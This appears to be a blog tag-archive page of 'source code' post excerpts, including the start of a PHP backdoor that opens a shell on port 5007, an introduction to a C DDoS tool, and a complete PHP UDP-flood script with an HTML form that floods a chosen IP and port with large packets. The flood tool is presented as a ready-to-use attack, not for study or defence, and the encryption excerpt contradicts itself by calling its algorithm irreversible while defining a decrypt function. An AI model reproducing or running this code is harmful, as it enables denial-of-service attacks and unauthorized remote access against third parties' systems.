Posts Tagged ‘source code’

A very good Encryption PHP Source Code

The very good encryption code.This algorithm is not reversible, please keep the source code.

< ?php
class Mcrypt
{
/**
* Decryption
*
* @param string $encryptedText Encrypted String
* @param string $key Key
* @return string
*/
public static function _decrypt($encryptedText,$key = null)
{ Read more

A Php Backdoor Source Code

A Php Backdoor Source Code

This is a shell backdoor source code written in php script.Run it on a remote host.It will run to listen a port 5007.When you connect the remote host ,it will open a shell.But when i execute a command on the shell interface,i do not know if the instruction has been executed.It means i am not sure if the instruction is running or completed.

The source code :

<? php

error_reporting(0);
set_time_limit(0);

define('LISTEN_PORT', '5007'); Read more

The Code of Automatic Adding Article Copyright Information to Prevent Copying

The Code of Automatic Adding Article Copyright Information to Prevent Copying

Anytime we will find that we can see your article in any other website ,but there is no link to your site.So to prevent piracy,we must add some codes to our site.Now there are source codes of automatic adding article copyright information.

</script>
<script type="text/javascript">
document.body.oncopy=function(){
event.returnValue=false; Read more

The DDOS Attacks Source Code in C Programming Language

Distributed Denial of Services (DDoS) is not a new concept and has been an effective way to get attention. DDoS is simple to orchestrate and rather difficult to defend against.

I came across the code which allegedly has been used by Anonymous to carry out some attacks on their targets.The code itself is straightforward, generating the desired effect at will without the need to control a large number of systems.This is the DDOS attack source code in c programming language: Read more

PHP DDoS Attack Source Code

PHP DDOS Attack source code


index.php
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8″>
<meta name="author" content="">
<title>PHP DDoS Attack</title>
</head>
DDoS –>
<style type="text/css">
<!–
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
–>
</style>
DDoS –>
<body>
<center>
IP: <?php echo $ip; ?> (don't use your ip)
<br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="<span class=" />ip" size="15″ maxlength="15″ value ="0.0.0.0″ onblur = "if ( this.value==" ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0') this.value = ";">
&nbsp;
Time:
<input type="text" name="<span class=" />time" size="14″ maxlength="20″ value = "time(second)" onblur = "if ( this.value==" ) this.value = ‘time (in seconds)’;" onfocus = " if ( this.value =='time (in seconds)') this.value = ";">
&nbsp;
Port:
<input class="hiddenSpellError" type="text" name="port" value="socket" size="5" />onblur = "if ( this.value==") this.value ='port';"onfocus=" if (this.value=='port') this.value=";">
<br><br>
<input type="submit" value="attack&gt;">
<br><br>
</form>
</center>
<!– PHP DDOS–>
</body>
</html>

function.php
<?php
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out.= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (".round(($packets*65)/1024, 2)." mB) packets averaging ".round($packets/$exec_time,2). " packets/s \n";
?>